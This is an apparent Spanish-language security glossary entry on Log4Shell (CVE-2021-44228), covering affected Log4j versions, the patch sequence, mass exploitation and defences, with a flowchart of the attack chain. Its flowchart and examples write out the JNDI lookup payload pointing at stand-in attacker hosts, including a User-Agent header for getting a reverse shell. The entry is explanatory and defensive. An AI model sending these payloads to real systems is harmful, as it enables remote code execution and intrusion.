Log4Shell (CVE-2021-44228)
¿Qué es Log4Shell (CVE-2021-44228)?
Log4Shell (CVE-2021-44228)Vulnerabilidad crítica de ejecución remota de código de diciembre de 2021 en Apache Log4j 2 que permitía a los atacantes ejecutar código arbitrario registrando una sola cadena de búsqueda JNDI.
Log4Shell es una vulnerabilidad con CVSS 10.0 en Apache Log4j 2 (versiones 2.0-beta9 hasta 2.14.1), reportada a Apache por Chen Zhaojun de Alibaba Cloud y divulgada públicamente el 9 de diciembre de 2021. La función de búsqueda en mensajes de Log4j evaluaba expresiones ${...} dentro de las cadenas de log; un valor ${jndi:ldap://attacker/x} hacía que la JVM realizara una búsqueda JNDI, recuperara una clase Java remota y la deserializara, dando lugar a la ejecución remota de código. Como Log4j está empaquetado en innumerables aplicaciones y appliances Java, cualquier valor controlado por el atacante que llegara a un log (User-Agent, caja de búsqueda, nombre de archivo, incluso el nombre de dispositivo de un iPhone) se convertía en un detonante.
El parcheo fue una carrera de varias etapas: 2.15.0 desactivó las búsquedas pero era incompleta (CVE-2021-45046), 2.16.0 eliminó las búsquedas en mensajes, 2.17.0 corrigió un DoS (CVE-2021-45105) y 2.17.1 abordó CVE-2021-44832, la versión corregida recomendada para Java 8. La explotación masiva comenzó en cuestión de horas; CISA la añadió al catálogo KEV y fue abusada por grupos de ransomware y por el actor estatal iraní detrás de intrusiones en redes estadounidenses. Defensas: actualizar a 2.17.1+ (o 2.12.4 / 2.3.2 para versiones antiguas de Java), establecer log4j2.formatMsgNoLookups=true, eliminar la clase JndiLookup, bloquear el tráfico de salida LDAP/RMI y usar un SBOM para localizar cada copia embebida.
flowchart TD
A[Atacante] -->|"entrada: ${jndi:ldap://evil/x}"| B[La app Java registra la cadena]
B --> C[Log4j evalúa la búsqueda]
C --> D[Consulta JNDI al servidor LDAP del atacante]
D --> E[El servidor devuelve la URL de una clase Java maliciosa]
E --> F[La JVM descarga y deserializa la clase]
F --> G[Ejecución remota de código]● Ejemplos
- 01
Enviar User-Agent: ${jndi:ldap://attacker.com/x} a una app web Java y obtener una shell inversa.
- 02
Explotar un servicio Java interno registrando un valor malicioso introducido en un campo de nombre de usuario.
● Preguntas frecuentes
¿Qué es Log4Shell (CVE-2021-44228)?
Vulnerabilidad crítica de ejecución remota de código de diciembre de 2021 en Apache Log4j 2 que permitía a los atacantes ejecutar código arbitrario registrando una sola cadena de búsqueda JNDI. Pertenece a la categoría de Vulnerabilidades en ciberseguridad.
¿Qué significa Log4Shell (CVE-2021-44228)?
Vulnerabilidad crítica de ejecución remota de código de diciembre de 2021 en Apache Log4j 2 que permitía a los atacantes ejecutar código arbitrario registrando una sola cadena de búsqueda JNDI.
¿Cómo defenderse de Log4Shell (CVE-2021-44228)?
Las defensas contra Log4Shell (CVE-2021-44228) combinan habitualmente controles técnicos y prácticas operativas, como se detalla en la definición.
¿Cuáles son otros nombres para Log4Shell (CVE-2021-44228)?
Nombres alternativos comunes: CVE-2021-44228, Vulnerabilidad de Log4j.